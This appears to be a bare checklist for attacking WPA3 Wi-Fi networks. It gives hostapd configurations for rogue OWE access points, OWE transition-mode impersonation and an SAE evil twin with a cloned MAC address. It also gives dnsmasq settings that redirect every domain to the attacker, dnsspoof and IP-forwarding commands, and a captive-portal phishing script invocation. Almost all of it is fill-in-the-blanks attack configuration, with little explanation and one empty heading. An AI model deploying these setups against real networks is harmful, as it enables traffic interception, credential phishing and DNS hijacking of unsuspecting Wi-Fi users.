Wi-Fi WPA3 Basic Wireless Pentest Checklist

OWE

interface=<interface>
ssid=<SSID>
bssid=<MAC of target AP>
channel=<channel>
ieee80211w=2
wpa=2
wpa_key_mgmt=OWE
rsn_pairwise=CCMP
sudo hostapd hostapd.conf

Simple captive portal

python nagaw.py -i <interface 1> -o <interface 2> -t demo

OWE Collider

OWE Transition mode

interface=<interface>
ssid=<SSID>
bssid=<bssid>
channel=1
hw_mode=g
country_code=US
ignore_broadcast_ssid=1
ieee80211w=1
wpa=2
wpa_key_mgmt=OWE
rsn_pairwise=CCMP
owe_transition_ssid="<SSID>"
owe_transition_bssid=<BSSID>

bss=wlan0_0
ssid=<SSID OPEN>
bssid=<BSSID>
owe_transition_ssid="<SSID>"
owe_transition_bssid=<BSSID>
interface=wlan0
dhcp-range=10.0.0.100,10.0.0.254,255.255.255.0,24h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
server=8.8.4.4
listen-address=127.0.0.1
address=/#/10.0.0.1
log-dhcp
log-queries
sudo dnsmasq -C dnsmasq.conf -d
sudo ifconfig <interface> <ip/24>
echo 1 > /proc/sys/net/ipv4/ip_forward
sudo dnsspoof -i <interface>
sudo hostapd <configuration file>

SAE Evil Twin

ssid=<SSID>
interface=<Interface>
channel=<channel>
hw_mode=g

wpa=2
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
wpa_passphrase=<real password>
sudo ifconfig <interface> down
sudo macchanger -m <MAC> <interface>
sudo ifconfig <interface> up
sudo hostapd hostapd.conf